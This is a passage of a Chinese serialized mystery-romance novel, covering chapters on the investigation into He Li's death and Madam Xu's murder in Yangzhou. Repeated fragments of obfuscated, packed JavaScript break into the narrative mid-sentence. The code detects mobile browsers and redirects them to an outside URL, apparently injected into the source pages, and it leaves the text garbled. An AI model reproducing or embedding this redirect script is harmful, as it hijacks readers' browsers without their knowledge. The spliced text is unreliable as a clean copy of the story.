“他只道‘二执俱空，始达彼岸’。姐姐遗容带着苦色，我以为是你令她失望了，令她不再有生的念头。” 李长凌见缝插针问道：“可是静心法师？” 上官语惊愕，“少侠怎知？” 李长凌拿“听闻”二字随口搪塞过去。 “她不会的……她不会的……孩子生下前，她不会这样做。你亦了解她，应知晓这封信的意思。”梦殊自读罢信后，一直痛苦不堪。 上官语怎会不知。只是，她现在已经死了啊…… “是你害了她！为何让她怀了你的孩子？” 沈明淮不知何时站在了王琰身侧，迎光而立，忽地开口，将月色撕开一道血淋淋的口子。 “自缢身死者，唇口黑，皮开露齿，且在自缢的过程中，必会有生与死的挣扎，缢痕不会只清晰地一条，应是八字不交。眼球凹陷，面部下垂，指甲呈淡蓝色，何娘子可能是失血过多而亡。” 上官语与梦殊异口同声惊骇道：“失血过多？！” 李长凌十分纳罕，“你还会验尸？” 竟是冤死？！王琰的好奇心却也没能使她迈出那一步。 “略知一二。” 沈明淮向前迈了半步，半个身体挡在王琰面前，自然垂下的手无意间碰在一起，又同时收回虚握成拳。 “尚是我的猜测，还须寻仵作来验。” 王琰并非害怕，却又张开手，轻轻揪着他的袖摆，建议道：“二位意下如何？我们与知州相识，验尸一事可寻他帮忙，如此便不会惊动何家。” 梦殊紧握双拳，声音发颤，“郦娘的死，我定要查明真相。” 上官语面色苍白如纸，“那便有劳三位了……” 翌日一早，李长凌匆匆赶到州廨略述事情来龙去脉，贺帆立即拣了一个经验丰富的仵作与四名衙役到大明寺旁验尸。王琰与沈明淮早已候在此地，还有一名坐婆。 王琰四处寻了一遭，“怎的不见李少侠？” 一名衙役回道：“突发命案，李少侠随司理参军去了现场。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276295|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王琰又轻声嘟囔道：“梦殊也没来。” “许是不敢当场直面真相罢。”沈明淮侧目瞧她，“白日里亦可抓着我的衣裳。” 王琰瞪了他一眼，小声反驳道：“我并非害怕！” 沈明淮将信将疑地点点头。 仵作检查尸身作出判断，“死者颈部、背部、腰、臀、四肢，皆出现尸斑，口舌无异，肤如素帛，初步判定非中毒、自缢而亡，死亡时间是四个月前。有劳。” 坐婆旋即检查□□，除仵作外其余人皆转身回避。死因正在此。仵作最终认定：死者生前小产，失血过量而亡。 沈明淮付与坐婆一锭银子，“该说什么，不该说什么——” “嗳！嗳！奴晓得。”坐婆欢喜收进衣裳里，“多谢公子。下次还有此差事，尽管找奴。” 坐婆眉开眼笑地走了，王琰不由眉心微皱，怎还有人对这种差事趋之若鹜？ 沈明淮好似瞧破了她，下意识伸手摸了摸她的头，“不过是混口饭吃，想不了这么多。” 王琰若有所思地点点头，才迟钝地避开他的手，清嗓又问：“你这本事何处学的？” “与大理寺那位见的多了，便耳濡目染了些。” 大理寺那位……王琰一时还真未反应过来。那二字有何忌讳的？血浓于水，不早就绑在一条船上了。 雅间内的上官语起身踱步又坐下，又起身，如此反复了半个时辰，终将沈明淮与王琰盼回了临江仙。 “结果如何？” 见她焦急得眉头紧皱，王琰竟有些不忍说出真相。沈明淮告知她，死因正是失血过多，小产所致。 “是我错怪他了。”上官语的眸光一瞬暗淡，忽又情绪激动地抓着王琰的衣袖道，“梦殊！他杀了何大娘子！” “梦殊，你可认罪？” “认罪？”被捆住手的梦殊嗤嗤笑起来，“她早该死！” “你说什么！”怒火中烧的司理参军许浔被李长凌拦住。 杨介舟举起惊堂木猛地一落，“大胆梦殊！公堂之上，不得嘻笑。昨日丑时，你在何处？” “我正准备出门，便听见更夫敲响四更的锣，你说我在何处？”梦殊低垂着头，一副放弃为自己辩解的样子。 杨介舟又问：“你可是要去象姑馆？” “是啊。我回去取一样东西，不行么？” “什么东西要在半夜取？” 梦殊却反问道：“这与本案无关罢？” 杨介舟继续平心静气地问：“好，那你说说，许氏为何会吊在你的屋内？” “我怎知？打开门就看见一个吊死鬼，我还想问她怎会死在我屋内呢，真晦气。” “你！”许浔强忍下怒气，收回手。 惊堂木再次落下，杨介舟严肃道：“门锁没有毁坏的痕迹，窗外亦未有攀爬的痕迹，你的屋门除了你与掌事的还有谁能打开？” 梦殊这会儿倒仔细想了想，“活着的，大概是没有了。我到象姑馆时，房门的锁已经开过了，我还愁何人盗锁，到我这儿偷东西来了。” “活着的没有？那死了的呢？” 24. 何家冤案（二） 梦殊旋即沉默了。 “宪使问你话呢！”司理参军死死盯着他。 “何郦。” 梦殊陡然抬头，厌恶地看着李长凌。 杨介舟吩咐一名衙役，“去何府搜。” 梦殊高声念道：“不用去了。他们这般恨她，她的东西想是都烧光了罢？”说罢又奸笑起来。 一名衙役又送了一份验尸格目到杨介舟手中。当王琰三人赶到提刑司，梦殊已被两个衙役押入大牢，择日再审。 “明淮来了。”着绯色官服的杨介舟从案前离开。 “杨宪使，贺知州。” 杨介舟问他二人：“大明寺旁那具女尸呢？” 沈明淮回道：“衙役已将其抬回州廨安放。” 王琰随沈明淮行礼后，快步走到李长凌身边，低声问：“这到底是怎么回事？” 李长凌正欲与王琰详述此事，杨介舟便先一步将案发到对簿的经过，与沈明淮说了一遭。 今早象姑馆的掌事路过梦殊的房间，被那吊起的女尸吓了一跳，赶忙报官。司理参军、数名衙役与仵作急前往象姑馆，问询了彼时象姑馆内的人。 住在梦殊对面的一娈童口述，他送走客人后，正值丑时一刻，忽闻外头有动静，打开房门一看，梦殊正鬼鬼祟祟地将门合上。又过了一刻，梦殊从他自己房中出来，离开了象姑馆。 “许氏方才检毕，是窒息而亡。必是杀人之后将其吊起，造成自缢的假象，但这手法并不高明，许是初次杀人，或故意留的破绽。”杨介舟又问贺帆，“贺知州你怎么看？” 贺帆惭愧道：“查案断狱一事，贺某不懂，还需倚仗杨宪使捉拿真凶。” “此事确是为难你了。明淮呢？”杨介舟又转问沈明淮。 沈明淮推敲道：“梦殊与那娈童供词不一，必有人说谎。虽娈童与许氏无怨，无说谎的理由，但为厘清本案，应还需从那娈童的客人入手。再有梦殊回象姑馆取的是何物，也许，亦是侦破本案的关键。” 杨介舟手提金带，对沈明淮的赞扬溢出眼眶，嘴角都要咧到天上去了，好似案子已破。 “好！这便随我到象姑馆一趟。” 二人走后，李长凌忽道：“这杨宪使，不会是在培养他的女婿罢？” 贺帆“啧”了他一声，“你怎能这般想？宪使分明是看中了沈公子的能力，为我大越培养英才罢了。” 待他二人的身影消失，王琰的目光仍停留在提刑司门口。扬州，宪使，芍药宴。还是绕不开那个地方。往外走的每一步，都是添在那面高墙上的一片瓦。 回到万春院，上官语已在花园等候多时。 “我家院子的芍药不比澹香园的差罢。”王琰又让女使端来一些瓜果点心。 上官语抿唇笑了笑。方才进院后瞧见，就是一副出神模样，怕是连芍药开在何处都不知。 “何大娘子当真……死了？”上官语轻声问。 “那还有假？我亲眼所见，就吊死在那梦殊的房中。”李长凌拿起一块糕点，瞪大眼睛，“明月楼的？” “魏家公子送来的。”王琰将糕点推到上官语前，“上官娘子也尝尝。” 上官语婉言谢绝，“来之前，方才吃了一些。行凶之人当真是梦殊？” “现下供词对不上，若梦殊未说谎，便不是他。”不知为何，从上官语说梦殊杀了何大娘子那时起，王琰一直不信。 上官语扯出一个不易引人察觉的笑，“我还道他这般胆大，当夜就替郦姐姐报了仇。” “报仇？可是将何娘子的尸身扔在石子冈一事？”回想起那夜的石子冈，第一个进入她脑海的，竟是梦殊放在坟边的那捧白色雏菊花。 “郦姐姐的死，定与她脱不了干系。”上官语的语气很是坚定。 李长凌忙问：“你是说小产一事，是许氏所为？” “我尚无证据，只是郦姐姐决不会无故不要这个孩子。”上官语不是没劝过何郦，她知这个孩子对闺友何其重要。 “许氏怎知何娘子怀有身孕？除了你，还有何人知？”王琰暗暗思忖，以何郦的性子，想来是预备悄悄生下这孩子，必不会让一直厌她的许氏知晓。 上官语摇摇头，“许氏日日派人盯着郦姐姐，想来是何处露了破绽。除了我，倒是还有一人知晓此事。” 李长凌速将手上的碎屑拊去，问道：“何人？” “郦姐姐的婢女——芷荷，亦是她告知我郦姐姐被扔到了石子冈。” 不知所踪的那个婢女……说不定她知晓何郦横死的真相。王琰与李长凌踏着暮色，匆匆赶往州府。 宪使外出查案未归，知州亦在正厅理事，二人离开州府到饼店吃了些，又带了一些回到州廨，彼时杨介舟与沈明淮已回提刑司。忙活了一日，还未来得及吃饭，杨介舟直言李长凌带来的胡饼与糕点是救命稻草。 在他二人吃东西的间隙，李长凌就何郦身故一案，向杨介舟提供了上官语的线索。何郦与许氏虽为母女，但据周围人所言，二人的隔阂存在已久，两桩命案间必有关联。 王琰在旁轻声问沈明淮，“你们可查到什么了？” 沈明淮微微侧身低语：“那娈童的客人为西门乂，宪使便领着我们去了西门府。问府里下人才知那日去接西门乂的厮儿睡过头，忘了时辰，到象姑馆时已是丑时三刻。梦殊打开屋门看见的，应该是吊着的尸体。” 王琰抬眸望向他，无意间拉近距离，“如此梦殊并未说谎，可是无罪？” 沈明淮却摇了摇头，“许氏死于丑时一刻，尽管娈童见到梦殊是丑时三刻，但无人能证明他出门的时间没有撒谎。” 杨介舟擦着嘴角走过来，“明淮说得不错，现下尚无足够的证据。何府一连牵扯两桩命案，也该去瞧瞧了。可吃好了？” 囚禁女儿，威压闺友。何家到底是怎样的存在，她亦想去瞧瞧。 “我能否与你们一起去？” 杨介舟从这位小娘子的眼中，瞧出了一抹诡谲的兴味。 四人到何府时，正巧碰上府内用膳。一袭便衣的杨介舟被邀至上座，连带李长凌亦被留下。何仲一口一个“李少侠”，李长凌耳根子便软了。王琰借口吃过了，征得何仲同意往花园去，沈明淮亦跟了出来。 霞光褪去，莫夜遮明。王琰凭着记忆，避开侍仆，寻到内院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276296|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何郦的屋子，翻窗而入，沈明淮却淡定地走了屋门。 王琰吹亮一个火折子，翻遍整个屋子，除了一些胭脂首饰，便是各式各样的漆器。沈明淮扫去台面上的薄灰，翻找着镜台上的东西，正打开一螺钿漆器首饰盒，便听另一侧的王琰道。 “当归、川芎、白术、黄芩、砂仁……都是安胎的方子。” 她举着火折子转向沈明淮，门外忽有脚步走动的声音。王琰顷刻将火吹灭，拉着沈明淮躲到了帏幔后面。被帏幔挡住的空间不大，两人几乎贴身而立。 一股淡淡的香气钻进王琰鼻中，沈明淮的气息呼在她的后颈上，只觉脸上微微发烫。偏偏后面的人还不安分，想来也是不自在地动了动。王琰侧身瞪了他一眼，旋又挪开视线，将注意全放在来人的动静上。所幸进来的是个孩子。 何樾径直走到何郦床边，掀开被褥，从那床下暗格中翻出来一册书。 “小官人！” “小官人！” 听见外面婢女的声音，何樾仓促盖好被褥，离开了何郦的屋子。王琰随后去掀开被褥，那暗格中竟还有一封信。许是何樾走得匆忙，并未察觉。 沈明淮慢步走来，“写与何人的信？” 芷荷，又是她。 确认搜不出线索后，王琰正要往窗边去，被沈明淮拉着走了屋门。 “你不觉得这个地方毫无生气吗？” 王琰仔细一想，他们方才穿过回廊后，这块地方便无人走动了。 “你可知正房在何处？” “后边的连廊过去便是，但上官语亦不知许氏住哪间屋子。” “啊——” 一声尖叫过后，灯笼随之摔在地上，提灯之人早已没了踪影。王琰方才走快了两步，沈明淮这才走出转角。 “她是见着鬼了？”王琰疑惑地看向沈明淮，烛光所及之处，可只染了她的裙子。 沈明淮奇怪地瞧着她的裙子问：“你何时换了衣裳？” “没——”王琰愕然，这条葡萄青银纹百迭，她还是第一次穿，“怎成了绛色？” “或许这便是那人惊恐的原因。” 内院侍仆不少，每间屋子都辉烛满堂，他二人寻不到机会，只好无功而返。踱步来到外院花园，园子里亦种有三两芍药，却是芳菲将尽，一片凋零。 有一婢女在晚间侍弄花草，自他二人步入花园起，总是快速且短暂地往这边瞟。王琰让沈明淮以其最擅长的温和笑面为饵，引出一些关于芷荷的线索，他却不为所动。 “她好奇的是你。” “我？” 沈明淮领着她有意无意地靠近那婢女，扯着一些与她相关的闲话。从李长凌说到上京，又提到临江仙，谈及酒楼的经营时，婢女终于止住了手上的动作。 “上回我还与郦姐姐约好了，待我回到扬州，再到临江仙来，不想……” 红若胭脂的月季在月光下愈是美得灿然，王琰伸出手，指尖触到花瓣的霎那，又将手缓缓放下。 “花落花开无间断，人来人去又谁知。” 在他的宽掌覆上的那刻，仿佛整片月光都笼下来，隔断了所有声音。 25. 假扮鬼魂 掌心的温度传到她微凉的手上，暖流顺着经络而上，直抵胸口，心如擂鼓。王琰抬眸，那些许不知所措全被沈明淮瞧了去。那人却还在笑，笑得纯粹，笑得灿然。 沈明淮轻轻握住她的手后，柔声说道：“宪使定会将真凶缉拿归案，还何娘子一个公道。” 紧接着木瓢一声落地，婢女慌乱将其拾起后快步离开。 “等等！”王琰喊道。 沈明淮提醒她，“如今这里无旁的人，你不必如此紧张。” 王琰站定在两步之外的位置，“你亦知郦姐姐并非自缢，是不是？” 那婢女仍是紧攥着衣裳，拨浪鼓似地摇头。 沈明淮问讯犯人一般，正色道：“你何故紧张？” 王琰扯扯他的衣袖，轻声道：“你别紧张，我们并非州廨之人，亦非对簿公堂。我闻郦姐姐待府中下人不好——” “才不是！”晓乐转过身，愤愤地驳回王琰的话，又自知失礼，旋即低下头，“娘子她……待我们很好。” 王琰舒了一口气，与沈明淮嘟囔道：“我就说罢？郦姐姐怎会是那样的人，都是那个晴芳胡说。” 晓乐转又忿忿起来，“是晴芳与你们说的？她是大娘子的人，分明是大娘子——”忽然意识到自己说漏嘴，这回是飞快地跑开了。 沈明淮以为自己遗漏了重要线索，不解道：“晴芳，又是何人？” 王琰拉着他往回走，“方才在连廊，我听有人唤了她一声。” “你耳力当真胜旁人的十倍。” 王琰微微颔首，解下腰间玉佩，“你才发现么？就她了。” 那婢女被沈明淮唤住，向他二人走来。王琰将玉佩递与她瞧，只道是方才在地上捡的，问一家丁，说是晴芳的环佩，便想让晴芳来此处认认，若不是，将由她二人交与家主。王琰待那婢女走后，精心挑选了一处烛光晃眼之地。 “你要扮作何郦试她？” 王琰提着裙摆转来转去，玩兴忽起，“你只管瞧好了，保准问出些什么。” 沈明淮盯着她手中的环佩，悠悠点道：“何郦腰间未戴玉佩。” “你——” 沈明淮先一步截下她的疑问，“梦殊房中有她的画像。” 王琰笑着将环佩放在他手中，“物归原主。” 沈明淮却敛起神情回道：“暂为保管。” “终有一日是要还的。”王琰的目光不知落在了何处，还未等沈明淮回应，便将他推走，“人来了。” 却是一道稚嫩童音。 “你们是来替我姐姐捉拿真凶的吗？” 何樾丝毫不怕生，怀中抱着一册书愈走愈近。沈明淮从暗处走出来，手中的玉佩顷刻将何樾吸引住。 “好漂亮的玉佩，竟比我娘的那枚还要好看许多。” 沈明淮俯下身问：“你娘平日亦佩戴玉佩？” “是啊。有枚是碧玉所制，天天都戴着呢。”何樾又捏住沈明淮的袖角，“你们还有什么想知道的，尽管问我。” 王琰自方才起便十分好奇，他在何郦房中拿走的那册书是什么。何樾十二分珍重地递到她手中，原是何郦所记载的漆器制作技艺，以及对自家漆器店经营的建议。 沈明淮就着烛光亦翻了翻，“你是想继承姐姐遗志，好好经营漆器店？” “嗯！”何樾郑重点头，“等我再长大一些，便去说服父亲。” 自方才起，这孩子一直在说他姐姐，近日去世的母亲却只字不提。王琰奇道：“你不问问你母亲一案的进展吗？” 何樾却道：“母亲的事有父亲操心，但现下还关心姐姐的人，只有我了。” 风渐有起事之势。王琰催促道：“我们预备捉拿杀害你姐姐的真凶了，可否请你先行离开？” 何樾还想说什么，又咽了回去，随即与沈明淮快步离开。 乌云遮着月亮，烛光在风的挑逗下，左摇右晃。晴芳在廊下走着，忽地眼前出现一人影，罗裙之下渍满深红血迹，烛火亦成了那鬼魂的帮凶。晴芳吓得魂飞魄散，往后退却是死路。 “你害得我好苦。” “不是我……不是我……” “将我孩儿的命还来！” “不是我！不是我……你别过来……” 晴芳侧身欲跑，左右脚绊到一处，一下跌在地上。 “还我命来……” 晴芳蜷缩在地，双手紧拢着耳朵，“不是我……是大娘子！是她让我将药下到你碗中的……别找我……” “你们为何要害死我？” “大娘子本就厌恶娘子，知你怀了男妓之子，却隐而不报，便想除掉这个野种……都是大娘子的意思！我是被迫的……”晴芳慌神之中已不顾一切将真相揭露。 “你们为何害死我！” “我并不知大娘子那药的剂量足以要了娘子的命……一切都是大娘子的意思，真的不干我的事……”晴芳仍旧俯身闭眼，浑身颤抖。 “芷荷何在？” 轻飘飘的问句仿佛已将她的罪一笔勾销。晴芳定了定心神，瞠目道：“她早已离开何府，我亦不知——” “离开！她竟不留下来陪我……”王琰的语气愈发幽怨。 晴芳不抖了，似是察觉到什么，“也是大娘子的意思，让她离开扬州，再也别回来。” 王琰厉声叫道：“寻不着她，你便在此陪我罢！” 晚风肆虐，烛影慌得不停地跑。 晴芳将头紧紧捂住，“别找我！别找我……齐楚，你去找他！他一定知道芷荷的下落！” “齐楚？” “对，齐楚！这个时辰……他定是在漆器店内！” “你若骗我……” 尖锐的笑声远去，近在咫尺的血裙不见了，晴芳忙跑回内院。晴芳一走，王琰还未开口，沈明淮旋即俯身替她系上环佩。 “我送出去的东西没有收回来的道理。合适就是最好的，你戴着，很合适。” “我戴着，很合适？”王琰望向他的视线不断抬高，直至仰视。 “你觉着不合适？”沈明淮反问她。 王琰避开他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276297|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些许灼热的目光，“……方才险些露馅儿。” “怎会？”沈明淮回味似地想，“分明惟妙惟肖。” “你笑话我。” 王琰忿忿走到前头，沈明淮轻笑一声，快步跟了上去。四人离开何府后，沈明淮与王琰二人夜探何氏漆器店。 “贵客想买些什么？这是小店新到的剔红南山飞鸟匣，非但有五柳先生隐居南山之高雅，单是这犀皮祥云纹——” 这矮个小厮见沈明淮的目光停在螺钿香具上，又兴致昂扬地介绍道：“这套螺钿香具，以夜光贝嵌《潇湘图》——” “螺钿镶嵌，是要美上三分。”沈明淮抚上香具的纹路，在小厮开口的那刻向亦被热情淹没的王琰走去。 “这银平脱妆匣暗藏北斗七星阵，可保夫妻和睦、养气延寿。”那高个小厮觑了沈明淮一眼。 王琰拿起妆匣仔细瞧了瞧，未瞧出什么门道来，遂又放下，“夫妻不合才需此物作保罢？” “您瞧瞧他说的什么话？新来的，您多担待。您二位一瞧便是恩爱夫妻，”矮个小厮将高个推走，又附在王琰耳边低声道，“但此匣能补虚驻颜，可不就是永续夫妻和睦啊。” 这些人将货品吹得天花乱坠的本事，倒让王琰觉着有趣。 “价钱几何？”沈明淮不知何时又立在她身后。 “五十贯钱。” “五十贯钱？！”王琰将妆匣放回原处，又摸起旁的漆器来，“寻常银平脱漆盒不过十贯钱，我在上京定制一套细螺钿镜匣也就五十贯，你这就单银平脱竟也卖这个价？！” 矮个小厮不乐意了，“单是这银箔便值十贯钱，再者这纹样——” 高个小厮按住他，卷起袖子，“我看他们根本不是诚心买漆器，来闹事才是真的！” 沈明淮敏捷地扼住向王琰攀来的手，矮个小厮又欲伸手，王琰侧身避开的一瞬，脚不听使唤地未及时挪开，矮个小厮扑倒在剔红笔山上，小小笔山不堪重负，往地上一跳。 “来人！快将他们撵出去！”矮个小厮气急败坏地大叫。 弹指间闪出来两持刀护卫，将他二人逼到店门口。 “去去去！哪来的破落户穿绫罗绸缎就想装富贵，没钱就滚！” 王琰挽过沈明淮，指着其中一护卫道：“你瞧清楚了，这位可是上京来的贵公子，有眼无珠！” 沈明淮神闲气定地等着她的下文。 “若非那个叫芷荷的百般赞誉，我才不来这儿买漆器呢！” 仿佛下一秒就要冲上去的王琰被沈明淮牵了回来，为她顺气道：“好了好了，误信奸人，也怪我没提醒你。” 演完这出戏，二人便找了一家茶肆坐下，直等店铺打烊。待齐楚从何家漆器店离开，王琰旋紧随其后。 回到万春院的沈明淮被李长凌拉到房内下棋，虽赢了一盘，却因输了下一盘，受李长凌好一顿唠叨。 “该回来自然就回来了。我师妹的身手，有何可担心的？”李长凌双指夹起一颗白棋，目光却落在沈明淮的身上，“倒是你，现下是何意？” 26. 冤案告破 话音方落，院子里便传来了动静。棋子落入奁内，执黑子的人不知何时起身，已大步迈向屋门。 “我回来了！” 李长凌好似屁股被凳子吸住般，一动不动地坐着，“有人那殷勤劲儿，未闻其声先见其人啊。” 王琰直入屋内，奔李长凌去，“什么未闻其声先见其人？看师兄这副样子，就这般放心我？” 李长凌目视沈明淮，勾唇笑道：“是谁天天嚷着我在身边，没有历练的机会？现下正是你大展身手的时候。” 沈明淮在王琰一旁泰然坐下，“如何？” 王琰追着齐楚到城东的一处别院，给他开门的是一娘子。若猜得不错，那人便是芷荷。她还预备明日与上官语一道去，或能问出些什么。 自王琰回万春院后，未受其正眼相待的沈明淮思索着开口：“那人回去难免会提起今日之事，芷荷定会有所戒备，万事小心。” 王琰点头起身，“天色已晚，沈公子还是早些回罢。” 自王琰的背影隐匿在夜色中，沈明淮方才回神告辞。今夜月色挠人，惹得失眠者不在少数。 一早王琰得知上官语在自家质库查账，简单吃过一碗汤饼便往聚水阁去。上官家经营着城东最大一家私家质库，昂贵一些的首饰、文玩，皆到聚水阁典当，方才给得出价钱。 王琰还未走到质库门口，只见一熟悉的身影拿着一大一小两块银锭，欢天喜地地与她擦身而过。进门问过伙计，遂往后堂走，正好碰上理完账目的上官语，正预备到前堂去，对她的出现竟无丝毫意外。 “前脚沈公子方走，这会儿你又来了。” 王琰不解，“他何时来的？” “嗯……半个时辰前。”上官语瞅了她一眼，又道，“来问郦姐姐平日喜欢穿何衣裳，说是讯问之用。” 王琰点了点头，随她一道往前堂去，“你可知那芷荷有一相好名叫齐楚，亦在何家当差？” “相好？必是何府府内事，我又怎会知晓。”不想上官语掌起事来，亦这般干练。 “方才他到你家铺子当东西来了，我看换了不少钱呢，少说也有三十贯。” 王琰的话被掌柜的听了去，旋即拿出一金锁，放到上官语面前，“娘子您瞧，这攒珠累丝金锁可值五十贯，方才那人——” 上官语神色大变，拿起金锁看了又看，“这金锁！何人所当？” “方才出去的那位官人，我亦不知他是何人。”掌柜顿时慌了，不知现下是何等情况。 王琰比划了一阵，“方才走出去那位，可是身着褐色衣裳、木簪束发？” “正是。”掌柜依旧小心翼翼留意着上官语的脸色。 王琰又问：“他可是经常来当东西？” 掌柜答道：“从前不曾见过，近几日却是常来。前两日还来当了一枚上好的玉佩。” “定是到郦姐姐房中所盗。”上官语面带苦涩，将这金锁视作珍宝。 “可我昨日去过她房中，没有人为翻找过的痕迹，一精致首饰盒内有好些珠宝，他怎会只盗这个？”王琰又取出何郦写与芷荷的那封信，“还发现了这个。” 上官语瞧见那封信后，神情愈发沉重，“这金锁是郦姐姐出生之时，母亲赠予她的长命锁。她本是要与梦殊赎身用……” “我们旋即去寻那芷荷。”王琰领着上官语火速往城东那处别院去。 叩了许久的门，无人应答。王琰正准备叩第六下，旁走来一大婶，告知她们，这处别院的娘子很是神秘，不是早出晚归，便是成日呆在屋内，平日根本见不着她人，能进她院门的，除了她那郎君，便只有一老头了。 老头隔三差五便来一趟，必有争吵，倒是她那郎君有个正经营生，对她可好了，每日回家都会带些新鲜玩意，从未听过他二人吵嘴，就是人粗鲁无礼了些。 一个劲儿说了一通，又抛出一问。 “你们找她所为何事？” 上官语对大婶感激地笑笑，“无事。我二人是她远房表姐，听闻她在此处生活，便想来看看她。” “原是这样。今日一早她便出去了，你二人晚上再来看看罢。”说罢，春婶提着她的菜篮子便走了。 “想是她已起了疑心，晚间你只身来，我去支开她那相好，替你留意着。”王琰将那封信交与她，“千万小心，以免打草惊蛇。” 夜将日华催走了。直至二更，芷荷的身影才出现在巷口。一刻钟后，三短一长的叩门声起。芷荷开门后还未看清来人容貌，又匆匆将门合上。 “等等！你看这个！”上官语急忙从袖中取出那封信，递到芷荷眼前。 芷荷兀自走进屋内，“上官娘子寻到我，又以齐楚的暗号相诱，是何目的？” “我在郦姐姐送与我的漆盒中，发现了这封信，便只好着人打听你的住处，亲自来向你道谢。”上官语将那封信交到她手中，“多谢你曾传信与我，让郦姐姐不至曝尸荒野……现今官府已介入此案，想必不久便可还郦姐姐一个公道。” “如此……甚好。”芷荷戒备的神色出现一丝动摇，旋替她倒茶，“喝了这杯茶，娘子便走罢。” 上官语显然没有要走的意思，“郦姐姐平日待你最是亲近，现下你脱了奴籍，离开何府，想来她在天之灵，亦能安息。” 茶满则溢，芷荷递过来的茶，太满了。 “娘子快走罢，齐楚快回来了。” 上官语丝毫未动，“你可知梦殊被当作杀死何大娘子的疑犯，入了狱？” 芷荷转身去取帕子擦手，“自是听说了。娘子还是快走罢。” 上官语快步走过去，握住她的手腕，“你是不是还有事瞒着我？梦殊他——” “上官娘子！”芷荷甩开上官语的手，下了最后一道逐客令。 “是我无礼了。”上官语抿紧双唇，迈步转身，一块金灿灿的物什从袖中滑落。 “……娘子的长命锁为何会在你这？！”芷荷双目圆睁，很是惊讶。 “不知何人所盗，来我家铺子当了不少金银。可恨未亲眼见着那人，可怜郦姐姐去后，何府仍是这般… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276298|182433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …”上官语收好金锁，怅然离开。 又一日清晨，李长凌身上还带着露气，将王琰从床上揪了起来，告诉她，何郦一案已经告破。 昨日提刑司审过晴芳后，旋即到孙氏药铺去查证，果真在何郦“自缢”的前几日，晴芳曾到孙氏药铺买了三种活血通经之药，整整三倍的剂量，与仵作的验尸结果正好对上。 “是有多大的仇恨，才这般置她于死地？一点活路都不曾留。”李长凌深深叹息。 “但许氏已死。”王琰异常平静，“她究竟是何人所杀？” 李长凌忽记起昨日她与上官语去了芷荷的住处，“你昨日去查，可有线索？” 王琰摇摇头，“都是些无关紧要的。上官语猜梦殊与芷荷之间有过节，且那齐楚对她并不忠诚。” “一副愁眉苦脸的样子，就不该让你牵扯到这些事中来，以衡知道又该说我了。” 于是李长凌便拉她出了门。没走多久，又遇见刚从画坊走出来的沈明淮。 “怎么提刑司不要你跟着破案了？还是说案子已经告破？” 不知从何时起，王琰总感觉李长凌对沈明淮怀有敌意。 “若是有线索，沈某便不会在此遇见二位了。重要线索，王娘子不是正在盯着？” 听见这个称呼，王琰果真立马看向他。 “重要线索？” “象姑馆的掌事忽记起来，就在梦殊告假的几日后，有一娘子曾进过他的房中，但由于是用钥匙开的门，便没有过多留意。” 三人走到一饮子铺坐下来。 “那娘子莫非是芷荷？”王琰特意坐在了沈明淮对面。 沈明淮的视线这才从王琰身上挪开，“掌事的并未看清她的容貌，只知不会是何郦。” “我说了我没钱！你要死缠烂打到什么时候？” 又是他。王琰却觉他旁边的老人家有些面熟，被沈明淮的话一瞬点醒，斗蛐蛐。 李长凌正迷惑，王琰又道：“那是芷荷的父亲。” “别以为我不知道你昨天去当了我们小草的一块金锁！”老人家见软的不行，转而威胁道，“别以为我不知道你干了什么龌龊事，那日我可亲眼看见你从象姑馆——” 老人家被捂了嘴，两个人的争吵就此止住，携手离开了饮子铺。三人马不停蹄赶到提刑司，捕快旋即将齐楚二人捉拿回司，自称陈半亩的老人家却顷刻改口。不一会儿，两人又并肩走出提刑司的大门。沈明淮紧随其后，一刻钟后又回到提刑司，齐楚果真给了陈半亩好些银子。 李长凌不死心，只觉齐楚身上定还藏着秘密，又跟去了何家漆器店。 沈明淮则将目光移回梦殊身上，征得贺帆许可，预备到牢里再问，王琰却道想一齐去看看。 “沈公子，我没什么可与你说的了罢。”一身白袍披散着头发的梦殊，连正脸都不与来客瞧。 “沈某今日前来，只想告知，何娘子一案终了——” 未等沈明淮说完，梦殊旋即兴奋地转身，“是不是许氏那个毒妇？” 27. 替她挡剑 